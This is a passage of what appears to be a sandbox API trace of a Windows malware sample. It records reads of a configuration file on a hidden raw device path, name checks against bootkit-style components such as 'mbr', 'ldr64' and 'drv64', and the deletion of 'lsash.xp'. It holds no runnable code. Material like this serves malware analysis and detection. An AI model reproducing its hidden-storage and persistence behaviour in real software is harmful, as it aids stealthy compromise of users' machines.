Event=0xfffff880028b25d0) [0118.915] IdePortDispatch () returned 0x103 [0118.915] KeWaitForMutexObject () returned 0x0 [0118.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.915] KeLeaveCriticalRegion () [0118.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.916] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.916] KeEnterCriticalRegion () [0118.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] KeLeaveCriticalRegion () [0118.916] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.916] KeEnterCriticalRegion () [0118.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.916] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] KeLeaveCriticalRegion () [0118.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.916] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.916] KeEnterCriticalRegion () [0118.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] ExFreePoolWithTag (P=0xfffffa8003bce290, Tag=0x0) [0118.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.916] KeLeaveCriticalRegion () [0118.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.916] ReleaseMutex (hMutex=0xf0) returned 1 [0118.916] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.916] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.916] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.916] KeEnterCriticalRegion () [0118.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.917] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.917] IdePortDispatch () returned 0x103 [0118.917] KeWaitForMutexObject () returned 0x0 [0118.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d3b60 [0118.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.917] KeLeaveCriticalRegion () [0118.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.917] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.917] KeEnterCriticalRegion () [0118.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.917] KeLeaveCriticalRegion () [0118.917] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.917] KeEnterCriticalRegion () [0118.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.918] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.918] IdePortDispatch () returned 0x103 [0118.918] KeWaitForMutexObject () returned 0x0 [0118.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.918] KeLeaveCriticalRegion () [0118.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.918] KeEnterCriticalRegion () [0118.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c41000 [0118.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.918] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.918] IdePortDispatch () returned 0x103 [0118.919] KeWaitForMutexObject () returned 0x0 [0118.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.919] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.919] IdePortDispatch () returned 0x103 [0118.919] KeWaitForMutexObject () returned 0x0 [0118.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.919] KeLeaveCriticalRegion () [0118.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.920] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.920] KeEnterCriticalRegion () [0118.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] KeLeaveCriticalRegion () [0118.920] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.920] KeEnterCriticalRegion () [0118.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] KeLeaveCriticalRegion () [0118.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.920] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.920] KeEnterCriticalRegion () [0118.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] ExFreePoolWithTag (P=0xfffffa80039d3b60, Tag=0x0) [0118.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.920] KeLeaveCriticalRegion () [0118.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.920] ReleaseMutex (hMutex=0xf0) returned 1 [0118.920] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.920] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.920] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.921] KeEnterCriticalRegion () [0118.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.921] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.921] IdePortDispatch () returned 0x103 [0118.921] KeWaitForMutexObject () returned 0x0 [0118.921] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.921] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.921] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.921] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.921] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.921] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.921] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.921] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.921] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.921] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.921] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.921] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.921] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.921] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.921] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.921] KeLeaveCriticalRegion () [0118.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.922] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.922] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.922] KeEnterCriticalRegion () [0118.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.922] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.922] IdePortDispatch () returned 0x103 [0118.922] KeWaitForMutexObject () returned 0x0 [0118.922] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.922] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.922] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.922] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.922] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.922] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.922] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.922] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.922] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.922] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.922] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.922] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.922] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.922] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.922] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.922] KeLeaveCriticalRegion () [0118.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.923] ReleaseMutex (hMutex=0x100) returned 1 [0118.923] Sleep (dwMilliseconds=0x2bf20) [0118.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a160ad0, dwHighDateTime=0x1d24fa4)) [0118.931] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.931] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.932] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.932] KeEnterCriticalRegion () [0118.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.932] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.932] IdePortDispatch () returned 0x103 [0118.932] KeWaitForMutexObject () returned 0x0 [0118.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.932] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.932] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.932] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.932] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.932] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1a60 [0118.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.932] KeLeaveCriticalRegion () [0118.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.932] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.932] KeEnterCriticalRegion () [0118.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.932] KeLeaveCriticalRegion () [0118.933] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.933] KeEnterCriticalRegion () [0118.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.933] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.933] IdePortDispatch () returned 0x103 [0118.933] KeWaitForMutexObject () returned 0x0 [0118.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.933] KeLeaveCriticalRegion () [0118.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.933] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.933] KeEnterCriticalRegion () [0118.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c44000 [0118.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.933] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.933] IdePortDispatch () returned 0x103 [0118.934] KeWaitForMutexObject () returned 0x0 [0118.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.934] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.934] IdePortDispatch () returned 0x103 [0118.934] KeWaitForMutexObject () returned 0x0 [0118.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.934] KeLeaveCriticalRegion () [0118.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.935] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.935] KeEnterCriticalRegion () [0118.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.935] KeLeaveCriticalRegion () [0118.935] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.935] KeEnterCriticalRegion () [0118.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.935] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.935] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.935] KeLeaveCriticalRegion () [0118.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.935] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.935] KeEnterCriticalRegion () [0118.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.935] ExFreePoolWithTag (P=0xfffffa80039d1a60, Tag=0x0) [0118.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.936] KeLeaveCriticalRegion () [0118.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.936] ReleaseMutex (hMutex=0xf0) returned 1 [0118.936] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.936] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.936] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.936] KeEnterCriticalRegion () [0118.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.936] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.936] IdePortDispatch () returned 0x103 [0118.936] KeWaitForMutexObject () returned 0x0 [0118.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.936] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.936] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.936] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.936] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.936] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcee10 [0118.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.936] KeLeaveCriticalRegion () [0118.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.936] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.937] KeEnterCriticalRegion () [0118.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, 